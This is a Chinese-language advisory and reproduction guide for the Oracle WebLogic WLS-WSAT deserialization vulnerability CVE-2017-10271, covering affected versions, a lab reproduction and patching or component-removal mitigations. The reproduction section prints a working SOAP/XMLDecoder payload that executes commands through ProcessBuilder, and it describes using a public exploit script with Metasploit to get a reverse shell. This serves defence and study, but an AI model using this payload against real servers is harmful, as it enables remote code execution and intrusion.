漏洞说明
近期不少安全厂商发现Weblogic主机被攻击者植入恶意程序,经分析,攻击者利用Weblogic WLS 组件漏洞(CVE-2017-10271),构造payload下载并执行虚拟币挖矿程序,对Weblogic中间件主机进行攻击。
Oracle Fusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。
通过分析发现漏洞引发原因是Oracle官方的JDK组件中“XMLDecoder”类在反序列化操作时引发了代码执行,Weblogic “wls-wsat”组件在反序列化操作时使用了“XMLDecoder”类进行XML反序列操作引发了代码执行,在关注本次漏洞的同时,近期可能会有其他使用了“XMLDecoder”类进行反序列化操作的程序爆发类似漏洞,还需及时关注,同时在安全开发方面应避免使用“XMLDecoder”类进行XML反序列化操作。
漏洞编号&影响范围
CVE-2017-10271
影响范围
受影响WebLogic版本:10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0。
检查工具
请将该网址(百度网盘地址)复制到浏览器中执行即可下载:https://pan.baidu.com/s/1bpg3ppl
漏洞复现
下载WebLogic Server 版本: 10.3.6.0,安装完成后访问链接存在及环境部署完成。可以先采用检查工具进行简单的测试存在漏洞。
http://192.168.135.20:7001/wls-wsat/CoordinatorPortType
第一种利用burp抓包提交POC,文章写的很详细了我就不复现了,详情见http://www.freebuf.com/vuls/158247.html
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.8" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>calc</string> </void> <void index="1"> <string></string> </void> <void index="2"> <string> </string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
第二种采用大师傅写好的脚本,支持回显、cmd、上传shell。
Github:https://github.com/hanc00l/weblogic_wls_wsat_rce
此处配合metasploit,生成powershell脚本,直接反弹回来。
防护方案
官方升级方案 Oracle官方对于Weblogic WLS 组件漏洞(CVE-2017-10271)在10月份的更新补丁中已经进行了修复,建议及时下载更新包,升级Weblogic。
详情可参考: http://www.oracle.com/technetwork/cn/topics/security/cpuoct2017-3236626-zhs.html
临时防护方案 根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口,若Weblogic服务器集群中未应用此组件,建议临时备份后将此组件删除。
1、根据实际环境路径,删除WebLogic wls-wsat组件:
rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
2、重启Weblogic域控制器服务。
DOMAIN_NAME/bin/stopWeblogic.sh #停止服务 DOMAIN_NAME/bin/startManagedWebLogic.sh #启动服务